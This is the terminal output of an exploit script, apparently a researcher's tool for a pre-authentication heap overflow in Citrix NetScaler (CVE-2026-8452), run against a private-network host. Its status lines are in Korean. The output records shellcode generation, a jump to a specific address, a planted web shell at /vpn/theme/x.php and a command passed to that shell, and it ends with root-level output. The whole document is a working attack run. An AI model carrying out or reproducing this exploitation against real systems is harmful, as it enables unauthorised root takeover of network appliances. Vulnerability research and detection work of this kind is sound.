python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/
                     __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                          \/          \/     \/

        watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py

        (*) Citrix NetScaler PreAuth 힙 오버플로우 → RCE 탐지 아티팩트 생성기

          - watchTowr(@watchTowrcyber)의 Sina Kheirkhah(@SinSinology)

        CVEs: [CVE-2026-8452]

[*] 엔드포인트에 연결 중...
[*] 대상 AAA 서비스가 응답함
[*] 셸코드 생성 중
[+] 셸코드 크기: 268바이트
[*] jmp rax를 0x112d30180로 트리거하는 중
[*] 전송됨..
[+] 웹셸 위치: https://172.16.5.12:9443/vpn/theme/x.php?0=uname+-a;id
[+] 웹셸 출력:


FreeBSD something 11.4-NETSCALER-13.1 FreeBSD 11.4-NETSCALER-13.1 #0 ef731ca813f0(heads/artesa_30_52)-dirty: Wed Aug 24 08:24:55 PDT 2022     root@sjc-bld-bsd114-215:/usr/obj/usr/home/build/adc/usr.src/sys/NS64  amd64
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)